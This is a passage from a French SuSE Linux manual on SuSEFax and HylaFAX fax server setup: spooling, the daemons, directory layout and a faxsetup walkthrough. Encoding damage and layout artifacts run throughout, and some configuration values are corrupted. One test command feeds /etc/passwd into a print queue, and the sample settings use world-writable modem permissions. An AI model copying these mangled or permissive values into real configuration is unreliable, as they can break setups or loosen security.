  14430. sera effectuΘ un classement dans la liste que si vous activez le bouton `Sort'.
  14431. Ce classement sera fait par ordre numΘrique et alphabΘtique croissant selon
  14432. les critΦres qui se trouvent sous `Shown  is'.
  14433.  
  14434. Les boutons `Save  changes' et `Save  &  Exit' ne peuvent Ωtre sΘlection-
  14435. nΘs que si l'un des boutons `Accept  entry', `Sort' ou `Remove' a ΘtΘ
  14436. auparavant activΘ.
  14437.  
  14438. L'annuaire peut aussi Ωtre utilisΘ en mode `standalone'. Vous devez pour
  14439. cela entrer susephone         dans le shell et le wrapper sera invoquΘ. Mais dans ce
  14440. cas, il ne sera pas possible d'envoyer de fax.
  14441.        _______________________________________________________________________________________________________________________||
  14442.        ||||||||  Il  est  dΘconseillΘ  de  lancer  deux  fois  le  programme  annuaire  sous  un                |||            |
  14443.        ||||||||  compte  utilisateur.  Mais  si  vous  le  faites  quand  mΩme,  veillez  α  ce  que            ||             |
  14444.        ||||||||                                                                                                 ||             |
  14445.        ||||||||  l'annuaire ne soit pas sauvegardΘ par la mΩme occasion.                                        ||             |
  14446.        ||||||||_______________________________________________________________________________________________________________||_
  14447.  
  14448.  
  14449. Le dialogue fax sΘrie
  14450.  
  14451. Le dialogue fax sΘrie vous permet, α partir des entrΘes de l'annuaire, d'Θtablir
  14452. une liste des fax α envoyer en sΘrie. Pour ajouter une ou plusieurs entrΘes α la
  14453. liste des fax, vous devez d'abord les sΘlectionner. Il en est de mΩme si vous
  14454. dΘsirez supprimer une ou plusieurs entrΘes. La sΘlection se fait soit α l'aide de
  14455. la souris, soit par l'un des deux boutons `Toggle'. En activant par exemple
  14456. le bouton `(Toggle', vous sΘlectionnerez toutes les entrΘes de la liste qui
  14457. ne sont pas encore sΘlectionnΘes et toutes celles qui sont sΘlectionnΘes seront
  14458. dΘsΘlectionnΘes. Ceci est Θgalement valable pour la liste des fax sΘrie. Un clic
  14459.  
  14460.  
  14461.                                                                                                                                    *
  14462.  *   219
  14463. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  14464.  *_______________________________________@
  14465.  
  14466.  
  14467.  
  14468.                            sur le bouton `Send  faxes' provoque l'envoi de tous les fax de la liste. Pour
  14469.                            les fax envoyΘs en sΘrie, il n'est pas possible de crΘer automatiquement une
  14470.                            page de garde.
  14471.  
  14472.  
  14473.  
  14474.                            6.10.2       CrΘation automatique de la page de garde
  14475.  
  14476.                            Comme  nous  l'avons  dΘjα  mentionnΘ  plus  haut,  la  crΘation  automatique
  14477.                            d'une  page  de  garde  de  fax  requiert  un  modΦle  de  document  (angl.  tem-
  14478.                            plate) PostScript      . Il ne s'agit pas ici d'un fichier pouvant Ωtre interprΘtΘ par
  14479.                            un  interprΘteur  de  PostScript  mais  d'un  fichier  contenant  des  caractΦres  de
  14480.                            substitution pour les informations qui sont insΘrΘes lors de la crΘation de la
  14481.                            page  de  garde.  Un  tel  modΦle  de  document  peut  Ωtre  plus  ou  moins  diffi-
  14482.                            cile α rΘaliser. Si vous Ωtes familiarisΘ avec les polices de caractΦresALTEX,
  14483.                            vous apprΘcierez s√rement le paquetage latex-cover 9  de R. Krienke. Ce
  14484.                            paquetage permet d'utiliser un style de TEX qui facilite la crΘation d'un tel
  14485.                            modΦle de document. La page de garde de ce paquetage et celle du paquetage
  14486.                            hylafax ont ΘtΘ rΘalisΘes au moyen de latex-cover .
  14487.  
  14488.                            Si vous ne voulez pas l'utiliser, vous devrez crΘer un fichier PostScript ``nor-
  14489.                            mal'' et insΘrer manuellement les macros et les caractΦres de substitution nΘ-
  14490.                            cessaires.
  14491.  
  14492.  
  14493.  
  14494.                            Quels sont les mots-clΘs connus de SuSEFax ?
  14495.  
  14496.                            Si vous modifiez le document TEX, vous devez garder prΘsent α l'esprit que
  14497.                            la version actuelle de SuSEFax ne remplace que les macros suivantes :
  14498.                                       __________________________
  14499.                                       |__\toperson______|_______
  14500.                                       |__\from______________|___
  14501.                                       |__\regarding____|________
  14502.                                       |__\tocompany____|________
  14503.                                       |__\todaysdate__|_________
  14504.                                       |__\comments______|_______
  14505.  
  14506.  
  14507.  
  14508.                            Pour tester le modΦle de document que vous avez ΘlaborΘ vous-mΩme, vous
  14509.                            pouvez utiliser le programme faxcover du paquetage hylafax. Il crΘe, α partir
  14510.                            du modΦle de document, un fichier PostScript que vous pouvez visualiser ou
  14511.                            imprimer. Mais vous pouvez aussi utliser le binaire Java FaxCovergen.class
  14512.                            du paquetage susefax pour faire le test. Il vous suffit pour cela d'entrer, dans
  14513.                            un rΘpertoire de votre choix :
  14514.  
  14515.                                  tux@terre:/home/tux        >  java  -classpath
  14516.                                       /usr/lib/java/lib/classes.zip:/usr/lib  SuSEFax.FaxCovergen
  14517.  
  14518.                            Vous devriez alors voir l'affichage :
  14519.  
  14520.                            ________________________________________________________________________________________________________*
  14521.  *________
  14522.                            | Command:  FaxCovergen  sourcecover.ps  docname.ps  targetcover.ps                                     *
  14523.  *         |
  14524.                            |                                                                                                       *
  14525.  *         |
  14526.                            |_______________________________________________________________________________________________________*
  14527.  *________ |
  14528.                            _____________________________________________9
  14529.                              Ce paquetage est installΘ sous /usr/doc/packages/hylafax lors de l'installation du paque-
  14530.                            tage hylafax.
  14531.  
  14532.  
  14533. 220
  14534.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  14535.  *______________________
  14536.  
  14537.  
  14538.  
  14539. La  page  de  garde  source  est  dans  ce  cas  le  modΦle  de  document.  DerriΦre
  14540. docname.ps se cache le document qui sera transmis lors de l'envoi effectif
  14541. du  fax.  La  page  de  garde  ainsi  crΘΘe  sera  stockΘe  dans  targetcover.ps
  14542. et  vous  pourrez  Θgalement  la  visualiser.  Ces  arguments  seront  simplement
  14543. ajoutΘs α la fin de la commande mentionnΘe ci-dessus.
  14544.  
  14545.  
  14546. 6.10.3       Traitement diffΘrΘ des fax sous UNIX /Linux
  14547.  
  14548. Le mΘcanisme de spool (traitement diffΘrΘ) sous SuSEFax a en fait ΘtΘ conτu
  14549. pour Ωtre utilisΘ sous Windows . Il est cependant possible d'en tirer parti sous
  14550. Linux .  Il  vous  suffit  pour  cela  d'installer  le  paquetage  faxprint,  sΘrie  n
  14551. (Support rΘseau).
  14552.  
  14553. Si vous convertissez maintenant le fichier /etc/passwd au format PostScript
  14554. au moyen, par exemple, de la commande a2ps  -nP  /etc/passwd  |  lpr  -
  14555. Pfax et si vous l'envoyez en le faisant passer par le filtre d'impression nou-
  14556. vellement  configurΘ,  vous  devriez  pouvoir  trouver  sous  le  rΘpertoire  /tmp
  14557. un  fichier  du  nom  de  fax_accountname.ps                .  Ici,  accountname  est  le  nom
  14558. sous  lequel  vous  vous  Ωtes  connectΘ  au  systΦme.  Si  ce  fichier  existe,  vous
  14559. pouvez  l'enregistrer  comme  fichier  en  attente  ainsi  qu'il  a  ΘtΘ  dΘcrit  au
  14560. paragraphe 6.10.1 page 213 et activer le bouton `Automatic  fax'.
  14561.        _______________________________________________________________________________________________________________________||
  14562.        ||||||||  Le mΘcanisme de spool ne peut fonctionner que si le programme SuSEFax                          |||            |
  14563.        ||||||||  est lancΘ. SuSEFax  vΘrifie rΘguliΦrement l'horodatage Lastmodified            du              ||             |
  14564.        ||||||||                                                                                                 ||             |
  14565.        ||||||||  fichier et ouvre une boεte de dialogue si une modification doit Ωtre faite.                    ||             |
  14566.        ||||||||_______________________________________________________________________________________________________________||_
  14567.  
  14568.  
  14569. 6.10.4       HylaFAX  ~ Fax rΘpartis
  14570.  
  14571.  
  14572. Fonctionnement
  14573.  
  14574. L'installation et la configuration de HylaFAX  ne sont pas couvertes par l'As-
  14575. sistance  Technique  α  l'Installation  (voir  paragraphe  H.1.2  page  558).  Nous
  14576. sommes cependant volontiers disposΘs α vous venir en aide dans le cadre de
  14577. notre Service Pro facturΘ α part (voir paragraphe H.3 page 561).
  14578.  
  14579. La figure 6.11 page suivante montre le fonctionnement du serveur de fax et
  14580. le principe de l'interaction avec les clients. Ainsi que l'illustration le fait res-
  14581. sortir,  il  existe  trois  voies  de  communication  entre  les  clients  et  le  serveur.
  14582. Le protocole qui se cache derriΦre le port 4557 est prΘsent pour des raisons
  14583. de compatibilitΘ avec d'anciennes versions HylaFAX . Un client du nom de
  14584. WinFlex , de Peter Bentley, qui tourne sous les anciennes versions de Win-
  14585. dows  utilise  encore  ce  protocole.  Les  clients  plus  rΘcents  devraient  utiliser
  14586. le  protocole  sur  le  port  4559  qui  s'inspire,  dans  une  trΦs  large  mesure,  du
  14587. File Transfer Protocol, RFC959. Le troisiΦme protocole est le SNPP (Simple
  14588. Network Paging Protocol, RFC1861).
  14589.  
  14590. Le serveur lui-mΩme est constituΘ par trois dΘmons dont chacun a des tΓches
  14591. dΘterminΘes α accomplir :
  14592.  
  14593.  
  14594. hfaxd      est  le  serveur  de  protocole.  Il  est  responsable  de  la  communication
  14595.       entre  le  client  et  le  serveur.  Il  peut  Ωtre  lancΘ  soit  en  ``standelone'',  par
  14596.       exemple  par  le  processus  Init  lors  du  dΘmarrage  du  systΦme,  soit  au
  14597.  
  14598.  
  14599.                                                                                                                                    *
  14600.  *   221
  14601. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  14602.  *_______________________________________@
  14603.  
  14604.                                                 Fig. 6.11: Fonctionnement du serveur HylaFAX
  14605.  
  14606.  
  14607.  
  14608.                                  moyen  de  Inetd .  Il  communique  avec  le  processus  faxq  par  l'intermΘ-
  14609.                                  diaire d'un ``fichier FIFO spΘcial''.
  14610.  
  14611.                            faxq     est le ``gestionnaire de files d'attente'' . Il est responsable de la gestion
  14612.                                  des fax entrants et sortants et de la file d'attente des jobs. Ce processus
  14613.                                  tourne en permanence et un seul devrait tourner.
  14614.  
  14615.                            faxgetty       est responsable de la communication avec le modem. Comme al-
  14616.                                  ternative α faxgetty , on peut utiliser le programme faxmodem si l'on sou-
  14617.                                  haite uniquement envoyer des fax sans en recevoir. Il peut en outre Ωtre
  14618.                                  gΘrΘ au moyen d'un fichier FIFO 10
  14619.  
  14620.  
  14621.                            Structure des rΘpertoires
  14622.  
  14623.                            Le serveur fonctionne en mode dit ``change-root''. Le rΘpertoire Server-Root
  14624.                            est  par  dΘfaut  /var/spool/fax.  Les  processus  du  serveur  et  le  rΘpertoire
  14625.                            Server-Root appartiennent α l'utilisateur et au groupe `uucp'. Le tableau 6.3
  14626.                            page suivante montre tous les rΘpertoires qui se trouvent dans Server-Root et
  14627.                            dΘcrit leur fonction.
  14628.  
  14629.  
  14630.  
  14631.                           1_____________________________________________0
  14632.                              Un fichier FIFO (angl. FIFO = First In First Out) est un fichier dans lequel les donnΘes seront
  14633.                            lues dans l'ordre dans lequel elles ont ΘtΘ Θcrites.
  14634.  
  14635.  
  14636. 222
  14637.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  14638.  *______________________
  14639.  
  14640.        ______________________________________________________________________________________________________________________
  14641.  
  14642.  
  14643.    archive         Les jobs sont archivΘs ici lorsque le job archival support a ΘtΘ
  14644.                    activΘ.
  14645.    bin             Ce  rΘpertoire  contient  les  scripts  utilisΘs  par  les  programmes
  14646.                    faxq, faxsend, pagesend et faxgetty.
  14647.    client          Ce  rΘpertoire  contient  les  fichiers  FIFO  nΘcessaires  pour  la
  14648.                    communication avec le programme faxq.
  14649.    config          La configuration, le contr⌠le d'accΦs et la gestion des utilisa-
  14650.                    teurs se trouvent dans ce rΘpertoire ainsi que dans le rΘpertoire
  14651.                    etc.
  14652.    dev             Comme l'ensemble du systΦme tourne dans un environnement
  14653.                    chroot     ,  on  touve  ici  les  pΘriphΘriques  caractΦres  nΘcessitΘs
  14654.                    (null, socksys et tcp).
  14655.    docq            Tout  comme  le  rΘpertoire  tmp,  ce  rΘpertoire  est  nΘcessaire,
  14656.                    entre autre, pour la prΘparation de jobs sortants.
  14657.    doneq           C'est ici que sont stockΘs les jobs qui sont terminΘs mais n'ont
  14658.                    ΘtΘ ni supprimΘs ni archivΘs.
  14659.    etc             voir config.
  14660.    info            Ce rΘpertoire contient des informations sur les caractΘristiques
  14661.                    et la performance de machines avec lesquelles HylaFAX a dΘjα
  14662.                    ΘtΘ en contact.
  14663.    log             Ce  rΘpertoire  contient  des  informations  de  login  concernant
  14664.                    aussi bien l'envoi que la rΘception.
  14665.    pollq           C'est ici que sont stockΘs les documents que l'on a obtenus par
  14666.                    interrogation (angl. polling) du serveur.
  14667.    sendq           C'est ici que l'on met les fax sortants et...
  14668.    recvq           ...ici les fax entrants.
  14669.    status          Ce rΘpertoire contient des fichiers dans lesquels le serveur en-
  14670.                    registre des informations sur son statut actuel.
  14671.    tmp             voir docq.
  14672.  
  14673.        ______________________________________________________________________________________________________________________
  14674.  
  14675.                  Tab. 6.3: Les rΘpertoires Server-Root et leur fonction
  14676.  
  14677. En plus de ces rΘpertoires, il existe aussi des fichiers FIFO. Le fichier /var/
  14678. spool/fax/FIFO  ainsi  qu'un  fichier  /var/spool/fax/FIFO.devname
  14679. pour  chacun  des  modems  gΘrΘs  par  faxgetty .  devname  indique  le  nom  du
  14680. pΘriphΘrique auquel le modem est reliΘ.
  14681.  
  14682.  
  14683.  
  14684. Configuration
  14685.  
  14686. La configuration du serveur est rΘpartie sur 2 α 2+n fichiers de configuration.
  14687. `n'  est  le  nombre  des  fax  modems  α  utiliser.  Le  rΘpertoire  /var/spool/
  14688. fax/etc contient les fichiers de configuration config et config.device             .
  14689. Le deuxiΦme dΘtermine la configuration du modem reliΘ au pΘriphΘrique de-
  14690. vice.  Si  par  exemple  le  modem  Θtait  reliΘ  au  pΘriphΘrique  /dev/ttyS0,  le
  14691. nom du fichier serait config.ttyS0.
  14692.  
  14693.  
  14694.                                                                                                                                    *
  14695.  *   223
  14696. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  14697.  *_______________________________________@
  14698.  
  14699.  
  14700.  
  14701.                            Le  fichier  config  contient  des  paramΦtres  globaux  utilisΘs  par  le  proces-
  14702.                            sus scheduler faxq et le fichier config.device              des paramΦtres spΘcifiques
  14703.                            au  ``gestionnaire  de  files  d'attente''  (angl.  queueing  agent).  Les  paramΦtres
  14704.                            spΘcifiques  au  serveur  de  protocole  se  trouvent  dans  le  fichier  /usr/lib/
  14705.                            fax/hfaxd.conf. Ces fichiers de configuration sont crΘΘs automatiquement
  14706.                            lorsque l'on exΘcute le script faxsetup        aprΦs l'installation.
  14707.  
  14708.  
  14709.                            Exemple de configuration
  14710.  
  14711.                            Voici  un  exemple  de  configuration  rΘalisΘe  au  moyen  de  faxsetup       .  Nous
  14712.                            partons des donnΘes contenues dans le tableau 6.4.
  14713.  
  14714.                            ________________________________________________________________________________________________________*
  14715.  *________
  14716.  
  14717.  
  14718.                                                 NumΘro de tΘlΘphone                 (0)49(0)911-12345611
  14719.                                                 Modem fax classe                    2.0
  14720.  
  14721.                            ________________________________________________________________________________________________________*
  14722.  *________
  14723.                                                                             Tab. 6.4:
  14724.  
  14725.  
  14726.                            Les caractΦres gras dΘsignent les entrΘes qui ont ΘtΘ faites.
  14727.  
  14728.  
  14729.                            Configuration du scheduler
  14730.  
  14731.                              ~   Should  an  entry  be  added  to  /etc/inetd.conf  [no]? |______|-
  14732.  
  14733.                              ~   Country  code  [1]? 49
  14734.  
  14735.                              ~   Area  code  []? 911
  14736.  
  14737.                              ~   Long  distance  dialing  prefix  [1]? 0
  14738.  
  14739.                              ~   International  dialing  prefix  [011]? 00
  14740.  
  14741.                              ~   Dial  string  rules  file  (relative  to__
  14742.                                  /var/spool/fax)  ["etc/dialrules"]? |_____-|
  14743.  
  14744.                              ~   Tracing  during  normal  server  operation  [1]? 527
  14745.  
  14746.                              ~   Default  tracing  during  send  and  receive
  14747.                                  sessions  [0xffffffff]? 527
  14748.  
  14749.                              ~   Continuation  cover  page  (relative  to
  14750.                                  /var/spool/fax)  []? etc/cover.templ
  14751.  
  14752.                              ~   Timeout  when  converting  PostScript_
  14753.                                  documents  (secs)  [180]? |_____-|
  14754.  
  14755.                              ~   Maximum  number  of  concurrent  jobs  to  a  destination  [1]? |______|-
  14756.  
  14757.                              ~   Define  a  group  of  modems  []? Σ ny :.*"
  14758.  
  14759.                              ~   Time  of  day  restrictions  for  outbound  jobs  ["Any"]? |______|-
  14760.  
  14761.                              ~   Pathname  of  destination__controls  file  (relative  to
  14762.                                  /var/spool/fax)  []? |_____-|
  14763.  
  14764.                              ~   Timeout  before  purging  a _stale_ UUCP
  14765.                                  lock  file  (secs)  [30]? |_____-|
  14766.  
  14767.                              ~   Max  number  of  pages  to  permit  in  an
  14768.                                  outbound  job  [0xffffffff]? 30
  14769.                           1_____________________________________________1
  14770.                               Vous devez Θvidemment entrer votre propre numΘro de tΘlΘphone et rΘagir de faτon adΘquate
  14771.                            pendant l'exΘcution de faxsetup    .
  14772.  
  14773.  
  14774. 224
  14775.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  14776.  *______________________
  14777.  
  14778.  
  14779.  
  14780.   ~   Syslog  facility  name__for_ ServerTracing
  14781.       messages  [daemon]? |_____-|
  14782.  
  14783. AprΦs  l'entrΘe  de  ces  donnΘes,  il  vous  sera  montrΘ  un  rΘsumΘ  semblable  α
  14784. celui de l'affichage 6.10.1.
  14785.  
  14786.        _______________________________________________________________________________________________________________________||
  14787.        |||||||| The  non-default  scheduler  parameters  are:                                                                  |
  14788.        ||||||||                                                                                                                |
  14789.        ||||||||                                                                                                                |
  14790.        |||||||| CountryCode:                     49                                                                            |
  14791.        ||||||||                                                                                                                |
  14792.        |||||||| AreaCode:                          911                                                                         |
  14793.        |||||||| LongDistancePrefix:         0                                                                                  |
  14794.        |||||||| InternationalPrefix:       00                                                                                  |
  14795.        ||||||||                                                                                                                |
  14796.        |||||||| ServerTracing:                 527                                                                             |
  14797.        |||||||| ContCoverPage:                 etc/cover.templ                                                                 |
  14798.        ||||||||                                                                                                                |
  14799.        |||||||| MaxSendPages:                   30                                                                             |
  14800.        |||||||| ModemGroup:                       "any:.*"                                                                     |
  14801.        ||||||||                                                                                                                |
  14802.        |||||||| SessionTracing:                527                                                                             |
  14803.        ||||||||_______________________________________________________________________________________________________________ |
  14804.                                      affichage α l'Θcran 6.10.1:
  14805.  
  14806.  
  14807.  
  14808. Configuration du serveur
  14809.  
  14810. Lorsque le scheduler a ΘtΘ configurΘ, faxsetup         demande si un modem doit
  14811. Ωtre configurΘ au moyen de faxaddmodem          . Vous rΘpondrez Θvidemment yes
  14812. α cette question. Il vous sera ensuite demandΘ α quel port sΘrie le modem est
  14813. reliΘ et vous rΘpondrez en indiquant le nom du pΘriphΘrique sans spΘcifier le
  14814. chemin complet ~ /dev/modem devient donc modem.
  14815.  
  14816.   ~   Country  code  [49]? |______|-
  14817.  
  14818.   ~   Area  code  [911]? |______|-
  14819.  
  14820.   ~   Phone  number  of  fax  modem  [+1.999.555.1212]?
  14821.       +49.911.123456
  14822.  
  14823.   ~   Local  identification  string  (for  TSI/CIG)
  14824.       ["NothingSetup"]? ⁿS SE GmbH"
  14825.  
  14826.   ~   Long  distance  dialing  prefix  [0]? |______|-
  14827.  
  14828.   ~   International  dialing  prefix  [00]? |______|-
  14829.  
  14830.   ~   Dial  string  rules  file  (relative  to__
  14831.       /var/spool/fax)  ["etc/dialrules"]? |_____-|
  14832.  
  14833.   ~   Tracing  during  normal  server  operation  [1]? 527
  14834.  
  14835.   ~   Tracing  during  send  and  receive  sessions  [11]? 527
  14836.  
  14837.   ~   Protection  mode  for  received  facsimile  [0600]? 0644
  14838.  
  14839.   ~   Protection  mode  for  session  logs  [0600]? |______|-
  14840.  
  14841.   ~   Protection  mode  for  modem  [0600]? 0666
  14842.  
  14843.   ~   Rings  to  wait  before  answering  [1]? |______|-
  14844.  
  14845.   ~   Modem  speaker  volume  [off]? |______|-
  14846.  
  14847.   ~   Command  line  arguments  to  getty  program  ["-h  %l  dx_%s"]?
  14848.       "-r -b -s %s %l"
  14849.  
  14850.  
  14851.                                                                                                                                    *
  14852.  *   225
  14853. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  14854.  *_______________________________________@
  14855.  
  14856.  
  14857.  
  14858.                              ~   Pathname  of  TSI  access  control  list__file_
  14859.                                  (relative  to  /var/spool/fax)  [""]? |_____-|
  14860.  
  14861.                              ~   Pathname  of  Caller-ID  access  control  list____
  14862.                                  file  (relative  to  /var/spool/fax)  [""]? |_____-|
  14863.  
  14864.                              ~   Tag  line  font  file  (relative  to  ____
  14865.                                  /var/spool/fax)  [etc/lutRS18.pcf]? |_____-|
  14866.  
  14867.                              ~   Tag  line  format  string              ____
  14868.                                  ["From  %%l|%c|Page  %%p  of  %%t"]? |_____-|
  14869.  
  14870.                              ~   Time  before  purging _a__stale  UUCP  lock
  14871.                                  file  (secs)  [30]? |_____-|
  14872.  
  14873.                              ~   Hold  UUCP  lockfile_ during  inbound  data
  14874.                                  calls  [Yes]? |_____-|
  14875.  
  14876.                              ~   Hold  UUCP  lockfile  during  inbound  voice  calls  [Yes]? |______|-
  14877.  
  14878.                              ~   Percent  good  lines  to  accept_ during  copy
  14879.                                  quality  checking  [95]? |_____-|
  14880.  
  14881.                              ~   Max  consecutive  bad  lines  to__accept_ during
  14882.                                  copy  quality  checking  [5]? |_____-|
  14883.  
  14884.                              ~   Max  number  of  pages_ to  accept  in  a  received
  14885.                                  facsimile  [30]? |_____-|
  14886.  
  14887.                              ~   Syslog  facility  name__for_ ServerTracing
  14888.                                  messages  [daemon]? |_____-|
  14889.  
  14890.                              ~   Set  UID  to  0  to  manipulate  CLOCAL  [""]? |______|-
  14891.  
  14892.  
  14893.                            Le rΘsumΘ que vous voyez dans l'affichage 6.10.2 est ΘlaborΘ aprΦs l'entrΘe
  14894.                            des|donnΘes ci-dessus.                                                                                  *
  14895.  *         |
  14896.                            ________________________________________________________________________________________________________*
  14897.  *________||||
  14898.                            | The  non-default  server  configuration  parameters  are:                                             *
  14899.  *         |
  14900.                            |                                                                                                       *
  14901.  *         |
  14902.                            | CountryCode:                     49                                                                   *
  14903.  *         |
  14904.                            |                                                                                                       *
  14905.  *         |
  14906.                            | AreaCode:                          911                                                                *
  14907.  *         |
  14908.                            | FAXNumber:                        +49.911.123456                                                      *
  14909.  *         |
  14910.                            |                                                                                                       *
  14911.  *         |
  14912.                            | LongDistancePrefix:         0                                                                         *
  14913.  *         |
  14914.                            | InternationalPrefix:       00                                                                         *
  14915.  *         |
  14916.                            |                                                                                                       *
  14917.  *         |
  14918.                            | DialStringRules:              "etc/dialrules"                                                         *
  14919.  *         |
  14920.                            | ServerTracing:                 527                                                                    *
  14921.  *         |
  14922.                            |                                                                                                       *
  14923.  *         |
  14924.                            | SessionTracing:                527                                                                    *
  14925.  *         |
  14926.                            | RecvFileMode:                   0644                                                                  *
  14927.  *         |
  14928.                            |                                                                                                       *
  14929.  *         |
  14930.                            | DeviceMode:                       0666                                                                *
  14931.  *         |
  14932.                            | RingsBeforeAnswer:           1                                                                        *
  14933.  *         |
  14934.                            | SpeakerVolume:                 off                                                                    *
  14935.  *         |
  14936.                            |                                                                                                       *
  14937.  *         |
  14938.                            | GettyArgs:                        "-r  -b  -s  %s  %l"                                                *
  14939.  *         |
  14940.                            | LocalIdentifier:              "SuSE  GmbH"                                                            *
  14941.  *         |
  14942.                            |                                                                                                       *
  14943.  *         |
  14944.                            | TagLineFont:                     etc/lutRS18.pcf                                                      *
  14945.  *         |
  14946.                            | TagLineFormat:                 "From  %%l|%c|Page  %%p  of  %%t"                                      *
  14947.  *         |
  14948.                            |                                                                                                       *
  14949.  *         |
  14950.                            | MaxRecvPages:                   25                                                                    *
  14951.  *         |
  14952.                            |_______________________________________________________________________________________________________*
  14953.  *________ |
  14954.  
  14955.                                                                 affichage α l'Θcran 6.10.2:
  14956.  
  14957.  
  14958. 226
  14959.         ____________________________________________________________________________________________________6.10.__Linux_et_le_fax_*
  14960.  *_______________________
  14961.  
  14962.  
  14963.  
  14964.  La configuration du scheduler et du serveur est ainsi terminΘe.
  14965.  Il  vous  est  encore  demandΘ  si  vous  voulez  lancer  faxmodem        pour  chaque
  14966.  
  14967.  modem configurΘ. Il s'agit ici d'une alternative α faxgetty         permettant uni-
  14968.  quement le mode ``send only'' ce qui signifie que vous devez choisir entre les
  14969.  deux.
  14970.  
  14971.  
  14972.  
  14973.  Support pour rΘponse adaptative
  14974.  
  14975.  ``Adaptive Answer Support'' est une fonction trΦs utile qui permet au serveur
  14976.  de lancer n'importe quel autre programme getty lorsqu'il constate qu'il n'est
  14977.  pas en prΘsence d'un appel de fax mais par exemple d'un appel de donnΘes.
  14978.  Pour que cela fonctionne, il a ΘtΘ ajoutΘ au fichier de configuration l'entrΘe
  14979.  contenue dans le fichier 6.10.2 (voir page 223).
  14980.  
  14981.         _______________________________________________________________________________________________________________________
  14982.         |||||||| GettyArgs:                        "-r  -b  -s  %s  %l"                                                         |
  14983.         ||||||||                                                                                                                |
  14984.         ||||||||_______________________________________________________________________________________________________________ |
  14985.  
  14986.                 fichier 6.10.2: EntrΘe pour support de rΘponse adaptative
  14987.  
  14988.  
  14989.  Le caractΦre joker %s   tient la place du dΘbit DTE/DCE entre l'ordinateur et
  14990.  le  modem.  Il  est  de  38400  bps  (bits  par  seconde).  Certains  modems  de  la
  14991.  sociΘtΘ USRobotics ne s'accommodent pas de ce taux (voir la documentation
  14992.  [Lef96    ])  et  il  peut  survenir  des  problΦmes  lors  de  la  rΘception  de  fax.  On
  14993.  peut  y  remΘdier  en  fixant  α  19200  la  valeur  pour  <ModemRate>  dans  le
  14994.  fichier de configuration spΘcifique au modem. Le getty α utiliser est mgetty du
  14995.  paquetage mgetty, sΘrie n (support rΘseau). Mais il est encore indispensable
  14996.  d'ajouter  au  fichier  de  configuration  de  mgetty  (/etc/mgetty+sendfax/
  14997.  mgetty.config) l'entrΘe du fichier 6.10.3.
  14998.  
  14999.         _______________________________________________________________________________________________________________________||
  15000.  
  15001.         |||||||| port  modem                                                                                                    |
  15002.         |||||||| direct  y                                                                                                      |
  15003.         |||||||| toggle-dtr  n                                                                                                  |
  15004.         ||||||||_______________________________________________________________________________________________________________ |
  15005.  
  15006.            fichier 6.10.3: EntrΘe dans le fichier de configuration de mgetty
  15007.  
  15008.  
  15009.  modem     12  dΘsigne le nom du pΘriphΘrique par lequel on accΦde au modem. Il
  15010.  est  essentiel  que  faxgetty  et  mgetty  accΦdent  tous  deux  au  mΩme  pΘriphΘ-
  15011.  rique.
  15012.  
  15013.  
  15014.  
  15015.  Distribution de fax
  15016.  
  15017.  Une  autre  fonction  intΘressante  est  la  transmission  automatique  de  fax  en-
  15018.  trants α une adresse E-mail dΘterminΘe. Ceci est rendu possible par la crΘa-
  15019.  tion  du  fichier  etc/FaxDispatch  dans  le  rΘpertoire  Server-Root.  Le  fi-
  15020.  chier 6.10.4 page suivante vous montre l'aspect que doit avoir un tel fichier.
  15021.  
  15022.  Les fax entrants sont identifiΘs α l'aide de leur TSI. Dans notre exemple, tous
  15023.  les fax ayant la combinaison de chiffres 0815     dans leur TSI seraient envoyΘs
  15024. 12      ____________________________________________________
  15025.    /dev/modem est un lien sur/dev/ttySx.
  15026.  
  15027.  
  15028.                                                                                                                                    *
  15029.  *    227
  15030. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  15031.  *_______________________________________@
  15032.  
  15033.                            ________________________________________________________________________________________________________*
  15034.  *________
  15035.                            | case  "$SENDER"  in                                                                                   *
  15036.  *         |
  15037.  
  15038.                            ||*0815*)  SENDTO=tux;;                                                                                 *
  15039.  *         ||
  15040.                            | *)           SENDTO=FaxMaster;;                                                                       *
  15041.  *         |
  15042.                            | esac                                                                                                  *
  15043.  *         |
  15044.                            |_______________________________________________________________________________________________________*
  15045.  *________ |
  15046.  
  15047.                                                fichier 6.10.4: Exemple pour etc/FaxDispatch
  15048.  
  15049.  
  15050.  
  15051.                            par mail α l'utilisateur `tux'13  sous forme d'annexe au mail. On outre, tous
  15052.                            les fax entrants sont transmis au `FaxMaster'.
  15053.                            ________________________________________________________________________________________________________*
  15054.  *________
  15055.                            |                                                                                                       *
  15056.  *        |||
  15057.                            |  Si l'installation ou la configuration de HylaFAX vous pose des problΦmes,                            *
  15058.  *        |||
  15059.                            |  jetez un coup d'oeil α notre base de donnΘes support (systΦme d'aide pa-                             *
  15060.  *        |||
  15061.                            |                                                                                                       *
  15062.  *        |||
  15063.                            |  quetage susehilf, sΘrie doc (Documentation)). Vous y trouverez un tas                                *
  15064.  *        |||
  15065.                            |  d'informations sous le mot-clΘ Σf x".                                                                *
  15066.  *        |||
  15067.                            |_______________________________________________________________________________________________________*
  15068.  *________|||_
  15069.                           1_____________________________________________3
  15070.                               On peut bien entendu changer le format des fichiers en modifiant en consΘquence le script
  15071.                            bin/faxrcvd dans le Server-Root.
  15072.  
  15073.  
  15074. 228
  15075.  
  15076.                                                                                                            Chapitre  7
  15077.                              Sur   un   rythme   de   Samba   : : :
  15078.  
  15079.  
  15080. Avec l'ensemble logiciel Samba  de l'Australien Andrew Tridgell, il est
  15081. possible de transformer n'importe quelle machine UNIX en un puissant ser-
  15082. veur de fichiers et d'impression pour machines DOS et Windows. Depuis le
  15083. dΘbut de son dΘvellopement en 1991, Samba est devenu un produit trΦs stable
  15084. et facilement portable qui s'est fait sa place dans de nombreuses entreprises
  15085. o∙ il complΦte et mΩme trΦs souvent remplace les serveurs Novell NetWare -
  15086. ou Windows NT .
  15087.  
  15088.  
  15089.  
  15090. 7.1       Introduction
  15091.  
  15092.  
